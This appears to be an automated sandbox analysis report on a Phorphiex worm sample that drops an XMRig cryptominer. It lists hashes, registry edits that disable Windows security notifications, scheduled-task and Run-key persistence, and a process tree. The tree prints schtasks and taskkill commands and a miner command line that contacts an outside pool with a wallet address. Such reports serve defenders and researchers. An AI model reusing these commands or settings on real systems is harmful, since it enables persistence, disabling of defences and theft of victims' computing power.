phorphiex | d5516838dbec985f8e893bb145b364ee3f6060dec3d30967b21309041283dfd1

Analysis

max time kernel
167s
max time network
179s
platform
windows10_x64
resource
win10-en-20211208
submitted
30/01/2022, 22:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d5516838dbec985f8e893bb145b364ee3f6060dec3d30967b21309041283dfd1.exe
Size 70KB
Sample220130-2pdd2abegn
SHA256 d5516838dbec985f8e893bb145b364ee3f6060dec3d30967b21309041283dfd1
MD5 1f6e817f7722e3d830d1bfe27386c346
SHA1 d6a6ae7efa933ab1cb3dcf3a740d6de947281432
SHA512 55ca3b8d0a51609c9b9ac48b11d69d01b2dd8593856a00ce087cf8f74de1d98fb8c13d4b1bd8ccfbd9bc11492d125ceb68d760fb3b6a0f016677bcf8725f7cf0
MD5 SHA1 SHA512

Score

10^/10

phorphiex xmrig evasion loader miner persistence trojan worm

Malware Config

Signatures

Modifies security service 2 TTPs 3 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES\WSCSVC\PARAMETERS	Windows Security Update.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES\WSCSVC\SECURITY	Windows Security Update.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINDEFEND\SECURITY	Windows Security Update.exe

Phorphiex Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000700000001ab13-118.dat	family_phorphiex
behavioral2/files/0x000700000001ab13-119.dat	family_phorphiex

Phorphiex Worm
Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex
Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 2 IoCs

miner

resource	yara_rule
behavioral2/memory/3512-186-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/3512-189-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Downloads MZ/PE file

Executes dropped EXE 25 IoCs

pid	Process
4048	drvrscv.exe
812	3613212269.exe
3152	3851827780.exe
3444	1088126098.exe
2832	3799810374.exe
1304	2147811404.exe
696	Windows Security Update.exe
1920	1420532926.exe
2212	syscfgdrvs.exe
3304	wincsvns.exe
3056	Windows Security Update.exe
704	Windows Security Update.exe
3160	sihost64.exe
2680	WindowsSecurityManager.exe
3452	Windows Security Update.exe
3888	sihost64.exe
3028	Windows Security Update.exe
1932	174452168.exe
3644	wincsvns.exe
4000	Windows Security Update.exe
1668	sihost64.exe
1340	147222731.exe
4016	WindowsSecurityManager.exe
1404	45499965.exe
3944	168284190.exe

Windows security modification 2 TTPs 14 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	drvrscv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	drvrscv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	syscfgdrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	syscfgdrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	drvrscv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	drvrscv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	syscfgdrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	syscfgdrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	syscfgdrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	drvrscv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	drvrscv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	drvrscv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	syscfgdrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	syscfgdrvs.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\drvrscv.exe"	d5516838dbec985f8e893bb145b364ee3f6060dec3d30967b21309041283dfd1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\syscfgdrvs.exe"	1420532926.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\secdis.txt	Windows Security Update.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 828 set thread context of 3512	828	conhost.exe	101

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\drvrscv.exe	d5516838dbec985f8e893bb145b364ee3f6060dec3d30967b21309041283dfd1.exe
File opened for modification	C:\Windows\drvrscv.exe	d5516838dbec985f8e893bb145b364ee3f6060dec3d30967b21309041283dfd1.exe
File created	C:\Windows\syscfgdrvs.exe	1420532926.exe
File opened for modification	C:\Windows\syscfgdrvs.exe	1420532926.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1932	schtasks.exe
3952	schtasks.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
908	taskkill.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
3884	conhost.exe
2640	conhost.exe
696	Windows Security Update.exe
696	Windows Security Update.exe
828	conhost.exe
828	conhost.exe
3056	Windows Security Update.exe
3056	Windows Security Update.exe
3804	conhost.exe
3452	Windows Security Update.exe
3452	Windows Security Update.exe
3452	Windows Security Update.exe
3452	Windows Security Update.exe
704	Windows Security Update.exe
704	Windows Security Update.exe
704	Windows Security Update.exe
704	Windows Security Update.exe
3028	Windows Security Update.exe
3028	Windows Security Update.exe
3892	conhost.exe
3892	conhost.exe
4000	Windows Security Update.exe
4000	Windows Security Update.exe
4000	Windows Security Update.exe
4000	Windows Security Update.exe
2640	conhost.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
628	Process not Found

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
2212	syscfgdrvs.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	3884	conhost.exe
Token: SeDebugPrivilege	2640	conhost.exe
Token: SeDebugPrivilege	696	Windows Security Update.exe
Token: SeImpersonatePrivilege	696	Windows Security Update.exe
Token: SeAssignPrimaryTokenPrivilege	696	Windows Security Update.exe
Token: SeIncreaseQuotaPrivilege	696	Windows Security Update.exe
Token: SeDebugPrivilege	828	conhost.exe
Token: SeDebugPrivilege	3056	Windows Security Update.exe
Token: SeImpersonatePrivilege	3056	Windows Security Update.exe
Token: SeAssignPrimaryTokenPrivilege	3056	Windows Security Update.exe
Token: SeIncreaseQuotaPrivilege	3056	Windows Security Update.exe
Token: SeLockMemoryPrivilege	3512	svchost.exe
Token: SeLockMemoryPrivilege	3512	svchost.exe
Token: SeDebugPrivilege	3804	conhost.exe
Token: SeDebugPrivilege	3028	Windows Security Update.exe
Token: SeImpersonatePrivilege	3028	Windows Security Update.exe
Token: SeAssignPrimaryTokenPrivilege	3028	Windows Security Update.exe
Token: SeIncreaseQuotaPrivilege	3028	Windows Security Update.exe
Token: SeDebugPrivilege	3892	conhost.exe
Token: SeDebugPrivilege	908	taskkill.exe
Token: SeDebugPrivilege	2640	conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2628 wrote to memory of 4048	2628	d5516838dbec985f8e893bb145b364ee3f6060dec3d30967b21309041283dfd1.exe	68
PID 2628 wrote to memory of 4048	2628	d5516838dbec985f8e893bb145b364ee3f6060dec3d30967b21309041283dfd1.exe	68
PID 2628 wrote to memory of 4048	2628	d5516838dbec985f8e893bb145b364ee3f6060dec3d30967b21309041283dfd1.exe	68
PID 4048 wrote to memory of 812	4048	drvrscv.exe	69
PID 4048 wrote to memory of 812	4048	drvrscv.exe	69
PID 4048 wrote to memory of 812	4048	drvrscv.exe	69
PID 4048 wrote to memory of 3152	4048	drvrscv.exe	71
PID 4048 wrote to memory of 3152	4048	drvrscv.exe	71
PID 4048 wrote to memory of 3152	4048	drvrscv.exe	71
PID 812 wrote to memory of 3444	812	3613212269.exe	72
PID 812 wrote to memory of 3444	812	3613212269.exe	72
PID 3444 wrote to memory of 3884	3444	1088126098.exe	73
PID 3444 wrote to memory of 3884	3444	1088126098.exe	73
PID 3444 wrote to memory of 3884	3444	1088126098.exe	73
PID 4048 wrote to memory of 2832	4048	drvrscv.exe	75
PID 4048 wrote to memory of 2832	4048	drvrscv.exe	75
PID 4048 wrote to memory of 2832	4048	drvrscv.exe	75
PID 3884 wrote to memory of 2644	3884	conhost.exe	76
PID 3884 wrote to memory of 2644	3884	conhost.exe	76
PID 2644 wrote to memory of 1932	2644	cmd.exe	78
PID 2644 wrote to memory of 1932	2644	cmd.exe	78
PID 3152 wrote to memory of 1304	3152	3851827780.exe	79
PID 3152 wrote to memory of 1304	3152	3851827780.exe	79
PID 1304 wrote to memory of 2640	1304	2147811404.exe	80
PID 1304 wrote to memory of 2640	1304	2147811404.exe	80
PID 1304 wrote to memory of 2640	1304	2147811404.exe	80
PID 2640 wrote to memory of 2316	2640	conhost.exe	81
PID 2640 wrote to memory of 2316	2640	conhost.exe	81
PID 2316 wrote to memory of 3952	2316	cmd.exe	83
PID 2316 wrote to memory of 3952	2316	cmd.exe	83
PID 2832 wrote to memory of 696	2832	3799810374.exe	84
PID 2832 wrote to memory of 696	2832	3799810374.exe	84
PID 2832 wrote to memory of 696	2832	3799810374.exe	84
PID 4048 wrote to memory of 1920	4048	drvrscv.exe	86
PID 4048 wrote to memory of 1920	4048	drvrscv.exe	86
PID 4048 wrote to memory of 1920	4048	drvrscv.exe	86
PID 1920 wrote to memory of 2212	1920	1420532926.exe	88
PID 1920 wrote to memory of 2212	1920	1420532926.exe	88
PID 1920 wrote to memory of 2212	1920	1420532926.exe	88
PID 3884 wrote to memory of 2820	3884	conhost.exe	89
PID 3884 wrote to memory of 2820	3884	conhost.exe	89
PID 2820 wrote to memory of 3304	2820	cmd.exe	91
PID 2820 wrote to memory of 3304	2820	cmd.exe	91
PID 2832 wrote to memory of 3056	2832	3799810374.exe	92
PID 2832 wrote to memory of 3056	2832	3799810374.exe	92
PID 2832 wrote to memory of 3056	2832	3799810374.exe	92
PID 3304 wrote to memory of 828	3304	wincsvns.exe	95
PID 3304 wrote to memory of 828	3304	wincsvns.exe	95
PID 3304 wrote to memory of 828	3304	wincsvns.exe	95
PID 828 wrote to memory of 3160	828	conhost.exe	96
PID 828 wrote to memory of 3160	828	conhost.exe	96
PID 2640 wrote to memory of 2160	2640	conhost.exe	97
PID 2640 wrote to memory of 2160	2640	conhost.exe	97
PID 2160 wrote to memory of 2680	2160	cmd.exe	99
PID 2160 wrote to memory of 2680	2160	cmd.exe	99
PID 828 wrote to memory of 3512	828	conhost.exe	101
PID 828 wrote to memory of 3512	828	conhost.exe	101
PID 828 wrote to memory of 3512	828	conhost.exe	101
PID 828 wrote to memory of 3512	828	conhost.exe	101
PID 828 wrote to memory of 3512	828	conhost.exe	101
PID 828 wrote to memory of 3512	828	conhost.exe	101
PID 828 wrote to memory of 3512	828	conhost.exe	101
PID 828 wrote to memory of 3512	828	conhost.exe	101
PID 828 wrote to memory of 3512	828	conhost.exe	101

C:\Users\Admin\AppData\Local\Temp\d5516838dbec985f8e893bb145b364ee3f6060dec3d30967b21309041283dfd1.exe
"C:\Users\Admin\AppData\Local\Temp\d5516838dbec985f8e893bb145b364ee3f6060dec3d30967b21309041283dfd1.exe"
1⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2628
- C:\Windows\drvrscv.exe
  C:\Windows\drvrscv.exe
  2⤵
  - Executes dropped EXE
  - Windows security modification
  - Suspicious use of WriteProcessMemory
  PID:4048
- - C:\Users\Admin\AppData\Local\Temp\3613212269.exe
    C:\Users\Admin\AppData\Local\Temp\3613212269.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:812
  - - C:\Users\Admin\AppData\Local\Temp\1088126098.exe
      C:\Users\Admin\AppData\Local\Temp\1088126098.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3444
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\1088126098.exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3884
      - C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "wincsvns" /tr "C:\Users\Admin\wincsvns.exe"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2644
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "wincsvns" /tr "C:\Users\Admin\wincsvns.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:1932
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\wincsvns.exe"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2820
        
        C:\Users\Admin\wincsvns.exe
        
        C:\Users\Admin\wincsvns.exe
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3304
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\wincsvns.exe"
        8⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:828
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        Executes dropped EXE
        
        PID:3160
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        10⤵
        
        PID:660
        
        C:\Windows\System32\svchost.exe
        
        C:\Windows/System32\svchost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=185.215.113.84:8586 --user=43RrFTp7myuC9LHNDXFDm2H49Qfp5iMfbLjcbVEmKv5qdoP5vqJyKnrHixqv2QPEtW2jBjeAXzBgtjbzkNNg47Zw1DH2D2H --pass=x --cpu-max-threads-hint=40 --cinit-idle-wait=10 --cinit-idle-cpu=80
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3512
- - C:\Users\Admin\AppData\Local\Temp\3851827780.exe
    C:\Users\Admin\AppData\Local\Temp\3851827780.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3152
  - - C:\Users\Admin\AppData\Local\Temp\2147811404.exe
      C:\Users\Admin\AppData\Local\Temp\2147811404.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1304
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\2147811404.exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2640
      - C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurityManager" /tr "C:\Users\Admin\Windows\WindowsSecurityManager.exe"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2316
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurityManager" /tr "C:\Users\Admin\Windows\WindowsSecurityManager.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:3952
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\Windows\WindowsSecurityManager.exe"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2160
        
        C:\Users\Admin\Windows\WindowsSecurityManager.exe
        
        C:\Users\Admin\Windows\WindowsSecurityManager.exe
        7⤵
        Executes dropped EXE
        
        PID:2680
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\Windows\WindowsSecurityManager.exe"
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3804
        
        C:\Users\Admin\AppData\Roaming\Windows\Telemetry\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Windows\Telemetry\sihost64.exe"
        9⤵
        Executes dropped EXE
        
        PID:3888
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "fyixsymzwhlumwg"
        10⤵
        
        PID:3416
- - C:\Users\Admin\AppData\Local\Temp\3799810374.exe
    C:\Users\Admin\AppData\Local\Temp\3799810374.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2832
  - - C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe
      "C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:696
    - - C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe"
        5⤵
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:704
  - - C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe
      "C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3056
    - - C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe"
        5⤵
        Modifies security service
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3452
  - - C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe
      "C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3028
    - - C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Windows Security Update.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4000
- - C:\Users\Admin\AppData\Local\Temp\1420532926.exe
    C:\Users\Admin\AppData\Local\Temp\1420532926.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - Suspicious use of WriteProcessMemory
    PID:1920
  - - C:\Windows\syscfgdrvs.exe
      C:\Windows\syscfgdrvs.exe
      4⤵
      Executes dropped EXE
      Windows security modification
      Suspicious behavior: SetClipboardViewer
      PID:2212
    - - C:\Users\Admin\AppData\Local\Temp\174452168.exe
        
        C:\Users\Admin\AppData\Local\Temp\174452168.exe
        5⤵
        Executes dropped EXE
        
        PID:1932
      - C:\Users\Admin\wincsvns.exe
        
        C:\Users\Admin\wincsvns.exe
        6⤵
        Executes dropped EXE
        
        PID:3644
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\wincsvns.exe"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3892
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c taskkill /f /PID "660"
        8⤵
        
        PID:3168
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /PID "660"
        9⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:908
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        8⤵
        Executes dropped EXE
        
        PID:1668
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        9⤵
        
        PID:3404
    - - C:\Users\Admin\AppData\Local\Temp\147222731.exe
        
        C:\Users\Admin\AppData\Local\Temp\147222731.exe
        5⤵
        Executes dropped EXE
        
        PID:1340
      - C:\Users\Admin\Windows\WindowsSecurityManager.exe
        
        C:\Users\Admin\Windows\WindowsSecurityManager.exe
        6⤵
        Executes dropped EXE
        
        PID:4016
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\Windows\WindowsSecurityManager.exe"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2640
    - - C:\Users\Admin\AppData\Local\Temp\45499965.exe
        
        C:\Users\Admin\AppData\Local\Temp\45499965.exe
        5⤵
        Executes dropped EXE
        
        PID:1404
    - - C:\Users\Admin\AppData\Local\Temp\168284190.exe
        
        C:\Users\Admin\AppData\Local\Temp\168284190.exe
        5⤵
        Executes dropped EXE
        
        PID:3944

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/660-211-0x00000164B23E3000-0x00000164B23E5000-memory.dmp

Download

memory/660-198-0x0000016497E50000-0x0000016497E56000-memory.dmp

Download

memory/660-204-0x0000016498100000-0x0000016498106000-memory.dmp

Download

memory/660-210-0x00000164B23E6000-0x00000164B23E7000-memory.dmp

Download

memory/660-209-0x00000164B23E0000-0x00000164B23E2000-memory.dmp

Download

memory/828-182-0x0000018827263000-0x0000018827265000-memory.dmp

Download

memory/828-180-0x00000188252E0000-0x0000018825700000-memory.dmp

Download

memory/828-181-0x0000018827260000-0x0000018827262000-memory.dmp

Download

memory/828-183-0x0000018827266000-0x0000018827267000-memory.dmp

Download

memory/2640-146-0x00000255796A0000-0x0000025579892000-memory.dmp

Download

memory/2640-152-0x00000255794A6000-0x00000255794A7000-memory.dmp

Download

memory/2640-274-0x000002BBCAC70000-0x000002BBCAC72000-memory.dmp

Download

memory/2640-276-0x000002BBCAC76000-0x000002BBCAC77000-memory.dmp

Download

memory/2640-150-0x00000255794A0000-0x00000255794A2000-memory.dmp

Download

memory/2640-151-0x00000255794A3000-0x00000255794A5000-memory.dmp

Download

memory/2640-275-0x000002BBCAC73000-0x000002BBCAC75000-memory.dmp

Download

memory/2640-149-0x000002555EB00000-0x000002555ECF2000-memory.dmp

Download

memory/3404-264-0x00000176CB546000-0x00000176CB547000-memory.dmp

Download

memory/3404-263-0x00000176CB543000-0x00000176CB545000-memory.dmp

Download

memory/3404-262-0x00000176CB540000-0x00000176CB542000-memory.dmp

Download

memory/3416-228-0x00000164F2500000-0x00000164F2506000-memory.dmp

Download

memory/3416-234-0x00000164F24D0000-0x00000164F25E2000-memory.dmp

Download

memory/3416-233-0x00000164F24D0000-0x00000164F25E2000-memory.dmp

Download

memory/3416-231-0x00000164F2240000-0x00000164F2246000-memory.dmp

Download

memory/3416-232-0x00000164F24D0000-0x00000164F25E2000-memory.dmp

Download

memory/3512-189-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/3512-212-0x0000020D33F70000-0x0000020D33F90000-memory.dmp

Download

memory/3512-284-0x0000020D33F90000-0x0000020D33FB0000-memory.dmp

Download

memory/3512-283-0x0000020D33FC0000-0x0000020D33FE0000-memory.dmp

Download

memory/3512-186-0x0000000140000000-0x0000000140786000-memory.dmp

Download

memory/3512-187-0x0000020D32490000-0x0000020D324B0000-memory.dmp

Download

memory/3804-208-0x000001A5F1E06000-0x000001A5F1E07000-memory.dmp

Download

memory/3804-207-0x000001A5F1E03000-0x000001A5F1E05000-memory.dmp

Download

memory/3804-200-0x000001A5F1E00000-0x000001A5F1E02000-memory.dmp

Download

memory/3884-137-0x0000015B5CE56000-0x0000015B5CE57000-memory.dmp

Download

memory/3884-136-0x0000015B5CE53000-0x0000015B5CE55000-memory.dmp

Download

memory/3884-134-0x0000015B42B00000-0x0000015B42B12000-memory.dmp

Download

memory/3884-132-0x0000015B5D080000-0x0000015B5D2A0000-memory.dmp

Download

memory/3884-130-0x0000015B42600000-0x0000015B429A0000-memory.dmp

Download

memory/3884-131-0x0000015B5CE50000-0x0000015B5CE52000-memory.dmp

Download

memory/3892-247-0x000002E2A2A36000-0x000002E2A2A37000-memory.dmp

Download

memory/3892-241-0x000002E2A08F0000-0x000002E2A0C30000-memory.dmp

Download

memory/3892-243-0x000002E2A2A30000-0x000002E2A2A32000-memory.dmp

Download

memory/3892-245-0x000002E2A2A33000-0x000002E2A2A35000-memory.dmp

Download